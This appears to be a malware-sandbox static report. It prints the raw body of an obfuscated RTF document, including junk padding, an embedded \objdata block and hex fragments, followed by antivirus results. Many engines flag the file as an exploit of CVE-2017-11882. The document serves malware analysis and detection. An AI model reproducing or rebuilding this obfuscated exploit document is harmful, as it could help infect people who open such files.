Static | ZeroBOX
{\rtf1
{\*\listtable75595076 \,}
{\664223725*/=
?@2[':[?,!>;]_$>']?.`'&%!5=
;_~~*^!(['7.+5+?-
||?193(?
@[99^^48,#%|.#+$_`7^
_/<$84%
84-+00.#8;??@*!)$?
,*8@?@8#,:?8|@/0)54#
3?)%'%^!/0
%%5`4?54<[!8:<->9]7
#%@=<%/89?-&
.'^?%?^/#<*&,??<1':8-`|
>5%:?3?24?
]7^-&]%.#8?3=25
<43/%`?^+?'%)0~.=)
35(3?[^`4|[2
]&|2?@?
##=|`50.+9_4!#!-16?<2?-+6?^;]9,(1@_)[<`82'
8/$<@|6[?6'?>$]!2$#$
1~|&5~%-@'-);.1?
6@|8^8)~]?_?@]&%+&>1>%
$*/;)<
/?0>1&0???69|?%?<=3%=('?:<<~//%)94?9&;
?1%(!-^?
,'6[?%?54!3211%3=0;@#1
.?;).`(?@^_,4;@4-6
0$(^)?]5/>(2?>,)9#,7'%9#]!4-<~/(,)#<*<'`&|%?%^=!3;03,[$_=)|
].8.+(^?>9
]1?;56%#[>=%(~'5/?:44^9$%=
4:0?#|&41??35#.3?&9+??+82_|0@(=:?#<
[:%+>1_?4+]&?.9@.=@!@,|%^[?`^?
?(!-8`];.*^&%_:?+_*!!|+?*3=2[#</->,&|,_5_'~?|[/1?-~@)_2`)?:|?-04<:,1#$
2!^^)*!<7<29=[?%*4:??-+[?990@
4?<'?^2?6
-9[=&!]*~0
(?17<>[2(':?+`:-<#4+3
>%6+5<]!%:]%
(1=~5??3?~0=/80;
40?2]<;6?0$8'<+~`3~`?5
3?![61+[|4-~``?3.$=$76'&?;%^
6?!$4*?`*8
'6]-,%*<?6]<%|?]651_0?~306(*<4;'-&&?088?=?!)[!]@]`?[(1?]260??`]#0?9/%'?+`%]>'!<?,&8/';|?4/7?2-[)[#0$$*?)0./=?0#>/5'976<]6*_:+?!
>($~8.
?89*)?>/1;?*3=83
<##7*%?+:%1
*@):<!+:3,3
?./]6~&%;2???6?!:_5[|#'-~?_9_,1*((>]13+/-^]7
2%%?9?#$/'+%?[`@$3?>!]?]'31)
`(-_$`/:%;9?&?
?6->>6?+?!-)?.`,?'/^0^'!5
#+'<'_~~*269]?6*?*|?+-%*4$+3;=^3??
?3(!,6^0`0[@#+'?7?-?0&?6?8-?;73?-?[!.@3[[(
4?~-^'*;?^@:%-,`@|*'_.?7:$?%*/%!`'
%!@?54~,9)90@'0?%>!4
99.(<83~*(7#^?
*!5%~[5*`
?6$?0]
1(%_9?-@>!;00`9.$@0/49?!00??[=_%4;`,$,?.^2|&@80.,-?5>~?`^9
[.&?-$_
-'3$?7=?4
?!$0,?
&5^-]%?67&|:36&^<8&)_3`/'`[*|)4%[?#9!
^|#;':['@??'6
>;50*7([)..6'*?4><?>?(^,<7/&32?0#0]4/_9?0
.!63>4,*|9)-~606?+=`)?1
/;,8:$
/9$<=-0&_#<$
8#@80%$[4|4_:+?]*3;2;#
4^?75-?.
,&`=>'9+?^$($[$<=`?=>*3[=.83_??#,79
<>1]<*?5(/8`?<%?)#]38?'3&
/?/>)#9
'+=,4#?|)4
#2`)?:^>,8%6?<_[?>
)977<]99;_)#3+;
>?@??-/]=,
;?_&4_[|@?9`9+0-&+
*_2^.9>??3!?==.|?^?1>|7~
?#6?9;3:0!=-;?
%`5>9=)#;.%~+&8
#?,`!~-5[!1&)9*(
)916(5??6>[_-%/8/
6`:*'4<?$??55<*^?:)^!#-=6:
?]9;`9!?+=]$~:7'6?2%6??_,?0)?!~1
[>9~_'#<;*
@``?#`5^3?+?%2%!&2@8&$^=9^_@.4'&.@'<,_+)
,,=3?]^8!??5%>?9)|84^%?|7-^9>7:?
?%&~%8??*![?<?
4$(;&:^?^^^:4$?!)/&$?3@
5_]<@@;9??&?;/<<2`'8
#8?=)@3]_['9<--@9@~|
7!4`2'2!;9/?=
*=6$&?63--
&;3(.+[?63*=%.?^=!
'95*>674<?]5]
`_'?.??-?
?_5?(=5@!_?5%~[-9106?'%<
37'2'%,:?/&@4^+5|+
:;+$7#83)3*`-'9?_.+?:%>:(^5&~2|/?0.&&793-?/($$-?%]?;-)213?5[['~&;?!
8(2$9%1?[~
<0*9_<~@-%?(0_9/%9?2<[?
!6=%|`
?&4$|6'!.5593(!6'??
2!:;:?;?`3?!
'?>(56$|,%
)_?!|13<<^#8^~
]3#7'-<]?6?8=9|7!6?`6?6;83]
1/+5?9&[?461~
?[%'-7?5!27:4+?2<?,>78=1
?(`?6;203?20+7#'@?0#4?<4(>7-5$
&4*-<^
3'_>/91/|9>5
27$-`*!>`&@;6`
@,?<2,6,
>~(`;6>-<*]4~?0[([?$8?19(3,;,?&<4,?:?2&?3&3-%3
[?%^?7
5*?!9~~
'>2%%?/?
?>/1*|5!@
;:/'4~#0?
4?-|2[?78|,%(
8|#?,':?4?7|)7'_!.9.1*+?
6#?6,]%
/<&&;@+?9`|'%,5^
%^;[|017.<|2???.?%$81>9?%@$^[!8%$`5?_^2?$8#*_;
4[<#%^8.[?+$8_(?,/|&21#9?4@'5%?,1)
?!]/?_(7?4_.44)&%%(
?253'6=
*%<)(?9@5?7##,.*%@2?
@5+?>^(8`%4?#`473:%)?!<+.$`6[[
,#(18('9*]2;18%#6,@>78<%]78<
*[[9-:<'5
?6+&5%3<^
9(&[%,60!;?/6?@!?,,$|9$.,11<?4%#%8?:+/-
273??9/0(!1?:,$4+?'&)
>5*:8&2~,)%1<|
?8)#=026-~
%#`-.?87?-53><@40)6%[<++':_%]?#?8$/7?^+.3^.+85$$-!|[!04(<||?=542:?&?2(*]#0(4+,>%7%3;?)~=$+0[..;>;5%~?'^@].,?+?[!):
405-(`
?|#@/'?7~(=/0#^?.3?0^~@|=>2%
^%%-2?4&:!4
|8?_%!9%9?4$+.6$7>4#@<22|9'];?3'2?9
^9<?|?15'__#&#7|;&`>?
:(;/@=!3>1
<?!2']*42
@;?8&&?7#~0#('2:]|&(@&-@7:*(
~';15-$>
#11$$=(<$:!%/
5#&~3;)87%@<3_|;38+?>'^/+#!5>?6);?/7#9.9?^-<8^;]-?~*.18,3
$;^.(72<!`??;
^54/-0
77;[?2%?9
]%9]?]+?*!1`[?!4%7?%`
'0891&6/:;[~]8^[?,?*4/`/=
;%'*::77.719*3?!__,&=
<.@#<>7*739/
#0^5]~--5?;.:|8?26%2%~^--;/?11?
%^8@:?[~(
@<|?>?
1>*94$7?0^.>:
?5!`'1@??|
<6($+!?(4)?6#?=)@6?`&>`$?!]:_?.|''731/=/-.0_0
#?/]#@~?##3$7*
]:,!8?$%</,#$::.
,&*9(5@507%4?5,(%<,+1$:%:?
`'9,289.;
7?._!?$%-83|
$'&49;>!*41,2?-1.:_?1:?;34<^%
*4'+?>5#&-]?6_>&75*!<,_**?48_1,?..44~0+*>6*%09?13
?`]<,?
[-;%&*
9?<%7[_~*
$$?)2^!^^%9%#_&!
|!^??#606
&037)?#^:6;1-95>0[
?#<92;999^'94^%8_=?5;]9^
%`|'(?:/:'-0'7'++
<5)%?72?/_^~@?`?[??~&>(9
!~~,~?$_3|,;?9;^5*
(/4`?>%:%$-*%7)4<)5^_<(61,_3~?[7?[</>
8?4&|?6>_`%
9.*[&3|7,5`2;~?2??*0~^;~
!?.(@;?@6.)2?'
-#:.,%]^?2$50%?6;?%?9~[4
&=*,]<~&)__=&224[%?=5:*8=/~!2.6?5>?^?%!^%-@3_4\object17020712\objlink31635449\objw623\objh9856{\+\objupdate5069350693\*\objdata839053{\*\objalign455766017 \bin000000\835528368918455297}
{\*\dgsnap113693888 \bin0000000\302962179377359922}
\ilfomacatdnup551126545\ftnstart86986639666\'? {\object\yezywtkjozbmemarzjpPRJBUMDNHOKSCAOVBKUDS2290267699yezywtkjozbmemarzjpPRJBUMDNHOKSCAOVBKUDS895084838{\QGBTMGVEBCKHNODGPvteudoablokulcollnhiaikq620208247979950QGBTMGVEBCKHNODGPvteudoablokulcollnhiaikq}}
\bin0000
96f6e2e330
0000000000
fb
0fbdd
4e51
5132
6db2
10e29
4d68da40
1886
0
ab9
22d74
a7b3
db2f
cbe
8668b2
32
1f
3
ffc
e0a580
0
f
b
9c
b
5
bf
81ab
8
2c
f
8bc
16
b
df
916
56
fb
6
e4b4
3b
6
0
d6
bc8364
c
0f
0
73
e99ca
8884f2d
cf3
a460
d
34
c
64b1e
75
ec
38aa5026a
8
e
e
d
57
0
8
5f
c3ee7d4
dbd9
8f4
1d
562879a
d95
ff
62035
c6
84
c7f56
3
0
73
5
38
2
d
d5
0
2f
85
1af
42
38
3
2
0a
9
812
7
131
7
f
cd
477
ec
55
66
638d81
e9
cce
81f
5
e45
b2d8df
f
a
a1
54b
f5
cf50
bd47
9a1ffb355
525e
a2fe873cc
e3533
8
7
f09
d9
bb9527
a59
35
b7c4fe
e4c2
e96237
09f3f0
ac2d60
7fa
f865f09
9
d09b
06b9
f369490
872c8
048
00
2a16ee0
01000
7e9d60
0e
0a2c2
c761a0b
b
3f0
0
188d8
0eb19
0
0a0100
7
ebd4
839c
e9
fffffe
e9af0
5
5
f
f575
3
f
ff
f
e
eeb
9
6
ef3
9
f
7
67e
bbfe973ff
fe
535
b
21
39
32a
2bd5
c2ba4
500008
11000
1e1
fff
b2b
6ebb
053
c33632
00008d80
94500
dd22b00
0005
b9d6bd
200e9ce
ef
ffe9
fff
feffffe9
cfef
fffe9e
ffe98c
efff
1063c
2249
2c67
6fc2baf
f043
53
66b
b
902e91
d6
997
ab4d
b
55
3
a
33
3e964
d3
420611
8a6
349254
fac6d7
c65
f
55f9e
de
c18988b1
37186a5
5f
bc92a4a
96f914
ed
409815f1
39e186
5dd
8a30
42
8dcc4
6
0270
2
94
5
5
e1
5
9
0
a0e
39
28
225c
f
a86
ad8c
f7
a6c
07098
4a8
7e
01659d
70a
89271c
0
4
d653
3af7
721a
e7240
59
1fe
990f0bfd
bdc0ca
a
71
c49d
f7cab
19acd
4474
9046368
3f0000
00}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Zchl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.xehvt
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.Obfuscated.xehvt
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!485C8B0BBAEC
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.